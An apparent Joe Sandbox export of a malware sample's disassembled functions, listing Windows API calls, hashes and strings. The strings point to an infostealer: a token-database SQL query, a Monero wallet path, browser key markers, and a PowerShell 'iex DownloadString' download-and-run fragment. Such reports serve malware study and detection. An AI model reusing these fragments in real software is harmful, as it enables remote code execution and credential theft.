Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: c0889f62681aaf87e5458e4c932d0308e57dd001dc17f928661dd585d6ece3ab
Instruction ID: d909545cdd75544b749e00abdb7bb243a16dea49dbfcec92b9c42b72b5f73d7b
Opcode Fuzzy Hash: c0889f62681aaf87e5458e4c932d0308e57dd001dc17f928661dd585d6ece3ab
Instruction Fuzzy Hash: 18B15571910158ABDF04FBA0CD96EEE7338AF64301F804569F506B3291EF346E49DBA6

Function 001D6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 001D6774
ExitProcess.KERNEL32 ref: 001D67A5
ExitProcess.KERNEL32 ref: 001D67AF
ExitProcess.KERNEL32 ref: 001D67B9
ExitProcess.KERNEL32 ref: 001D67C3
ExitProcess.KERNEL32 ref: 001D67CD

Strings

*, xrefs: 001D678C

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 03dde7e81fec5d96dc8fd7c22c12825b73de995d2d965908f4efaeec7a897302
Instruction ID: f3d1579eb177c81c0adeaff34cb6aaccbe709001630ba7782be5a8375e53862b
Opcode Fuzzy Hash: 03dde7e81fec5d96dc8fd7c22c12825b73de995d2d965908f4efaeec7a897302
Instruction Fuzzy Hash: 57F05E31904309EFD344AFE4EA0976C7B70FB04703F1481A9E609A72D1D6708B61AB9A

Function 001C4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 001C4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 001C4FD1
InternetOpenA.WININET(001E0DDF,00000000,00000000,00000000,00000000), ref: 001C4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 001C5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 001C5041
InternetCloseHandle.WININET(?), ref: 001C50B9
InternetCloseHandle.WININET(?), ref: 001C50C6

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: ac73325dc9e3ca7a0a25054b7c2bf81fd574e7e8dbf3036bb26aa0ba2030a156
Instruction ID: 360135bc4005cd6c2652b86ddcde4d087c4f555a6a105060d8bbe2aa1c31b5cf
Opcode Fuzzy Hash: ac73325dc9e3ca7a0a25054b7c2bf81fd574e7e8dbf3036bb26aa0ba2030a156
Instruction Fuzzy Hash: BA3107B4A00218ABDB20CF54DD85BDCB7B4EB48704F5081E9FA09B7281D770AAD58F99

Function 001D83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 001D8426
wsprintfA.USER32 ref: 001D8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 001D847B
RegCloseKey.ADVAPI32(00000000), ref: 001D848C
RegCloseKey.ADVAPI32(00000000), ref: 001D8499

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

RegQueryValueExA.ADVAPI32(00000000,00E3E418,00000000,000F003F,?,00000400), ref: 001D84EC
lstrlen.KERNEL32(?), ref: 001D8501
RegQueryValueExA.ADVAPI32(00000000,00E3E520,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,001E0B34), ref: 001D8599
RegCloseKey.ADVAPI32(00000000), ref: 001D8608
RegCloseKey.ADVAPI32(00000000), ref: 001D861A

Strings

%s\%s, xrefs: 001D844D

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: f690d10e40afc990f21f0a8380dffa10f0d08c11ec7d2813bcd27caa3d265a1a
Instruction ID: 644812412495ec1b8ee9654cc7ee1b682ac3ca6b5807784dbf730adb53137d5a
Opcode Fuzzy Hash: f690d10e40afc990f21f0a8380dffa10f0d08c11ec7d2813bcd27caa3d265a1a
Instruction Fuzzy Hash: FE21FA7191022CABDB24DB54DD85FE9B3B8FB48714F00C5E9E609A6240DF71AA85CFD4

Function 001D7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001D7734
RtlAllocateHeap.NTDLL(00000000), ref: 001D773B
RegOpenKeyExA.ADVAPI32(80000002,00E2C428,00000000,00020119,001D76B9), ref: 001D775B
RegQueryValueExA.ADVAPI32(001D76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 001D777A
RegCloseKey.ADVAPI32(001D76B9), ref: 001D7784

Strings

CurrentBuildNumber, xrefs: 001D7771

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 2c83542f12493a4d15a9de67c708cbc65f4b9558fcc52d5dd26af9dc36043071
Instruction ID: db1956f9125e57dbbefbccf63524a48afe470104e509e3a18180207ad3c7a605
Opcode Fuzzy Hash: 2c83542f12493a4d15a9de67c708cbc65f4b9558fcc52d5dd26af9dc36043071
Instruction Fuzzy Hash: CD0167B5A40308BBD700EBE4DD49FAEB7B8EB48704F008565FA05B7281D77095508B55

Function 001D40B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001D40D5
RegOpenKeyExA.ADVAPI32(80000001,00E3DB60,00000000,00020119,?), ref: 001D40F4
RegQueryValueExA.ADVAPI32(?,00E3DE60,00000000,00000000,00000000,000000FF), ref: 001D4118
RegCloseKey.ADVAPI32(?), ref: 001D4122
lstrcat.KERNEL32(?,00000000), ref: 001D4147
lstrcat.KERNEL32(?,00E3DE00), ref: 001D415B

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: d876b71550b92e9a3e21035f74021eb3e9de8e134b2bc3bfd7579abeb3e86f61
Instruction ID: 325f48c3e0056e064c22550a0f46972eff33ec618103a0b55e09fef13b94d8c1
Opcode Fuzzy Hash: d876b71550b92e9a3e21035f74021eb3e9de8e134b2bc3bfd7579abeb3e86f61
Instruction Fuzzy Hash: B241C8B6D002086BDB14FBA0DD46FFE733DAB99300F00855DB61657181EB759B988BD2

Function 001C99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001C99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 001C9A11
LocalAlloc.KERNEL32(00000040,?), ref: 001C9A31
ReadFile.KERNEL32(000000FF,?,00000000,001C148F,00000000), ref: 001C9A5A
LocalFree.KERNEL32(001C148F), ref: 001C9A90
CloseHandle.KERNEL32(000000FF), ref: 001C9A9A

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 49ebdd001904660f343a289e51aec73dfeb067b364ecd035092b68485aaffc1c
Instruction ID: 23ee29a439452deddc37fc8a18274267333eacef90fbeab7e898fec627fc0b71
Opcode Fuzzy Hash: 49ebdd001904660f343a289e51aec73dfeb067b364ecd035092b68485aaffc1c
Instruction Fuzzy Hash: 363127B4A00209EFDB14CFA4C989FAE77B5FF58300F108158E902A7290D778EA51CFA1

Function 001DC84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 001DC8BF
___crtGetStringTypeA.LIBCMT ref: 001DC8EC
___crtLCMapStringA.LIBCMT ref: 001DC90C
___crtLCMapStringA.LIBCMT ref: 001DC931

Strings

, xrefs: 001DC896

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 0fb8ac3a25bff528bb6afd6388b60acfe202cc78b10dbf2a04dd6a42328e0659
Instruction ID: 89187ce0524148e2668dff3509750b2aaa8599a50795446883aef609c9e635bc
Opcode Fuzzy Hash: 0fb8ac3a25bff528bb6afd6388b60acfe202cc78b10dbf2a04dd6a42328e0659
Instruction Fuzzy Hash: C44127B150079D5EDB258B24CD94FFBBBE89F05708F1448E9E98A86282D3719A44DFA0

Function 001D4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00E3DF68), ref: 001D47DB

Part of subcall function 001D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001D8E0B

lstrcat.KERNEL32(?,00000000), ref: 001D4801
lstrcat.KERNEL32(?,?), ref: 001D4820
lstrcat.KERNEL32(?,?), ref: 001D4834
lstrcat.KERNEL32(?,00E2BAC0), ref: 001D4847
lstrcat.KERNEL32(?,?), ref: 001D485B
lstrcat.KERNEL32(?,00E3DBC0), ref: 001D486F

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001D8D90: GetFileAttributesA.KERNEL32(00000000,?,001C1B54,?,?,001E564C,?,?,001E0E1F), ref: 001D8D9F

Part of subcall function 001D4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 001D4580
Part of subcall function 001D4570: RtlAllocateHeap.NTDLL(00000000), ref: 001D4587
Part of subcall function 001D4570: wsprintfA.USER32 ref: 001D45A6
Part of subcall function 001D4570: FindFirstFileA.KERNEL32(?,?), ref: 001D45BD

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 39441d077660da5f5ead80a07f104a0802569cf020adc6eb4ae92ace270dd8c6
Instruction ID: d86644bf480a9504559304edaf4c58deb2fb066a0193b420dae22adb1aee1610
Opcode Fuzzy Hash: 39441d077660da5f5ead80a07f104a0802569cf020adc6eb4ae92ace270dd8c6
Instruction Fuzzy Hash: 4831A2B6900308A7CB14FBB0DC85EED737CAB68300F40459AB359A6181EF70D789CB96

Function 001D2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

ShellExecuteEx.SHELL32(0000003C), ref: 001D2D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 001D2CC4
')", xrefs: 001D2CB3
<, xrefs: 001D2D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 001D2D04

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 28fb27328af6f5e1452f2cd63c2490b6dda03466b7ff163bf253588700af7174
Instruction ID: f14373497f0ed7b2045fe34b72baa4f0a503aa8e4b807507772bb5e7e50ce7b3
Opcode Fuzzy Hash: 28fb27328af6f5e1452f2cd63c2490b6dda03466b7ff163bf253588700af7174
Instruction Fuzzy Hash: 26410271C502589ADB18FFA0C892BEDB774AF24300F80412AF416B7291EF742A4ADF95

Function 001C9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 001C9F41

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Strings

@, xrefs: 001C9EF1
v20, xrefs: 001C9E21
ERROR_RUN_EXTRACTOR, xrefs: 001C9E67
v10, xrefs: 001C9EA3

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
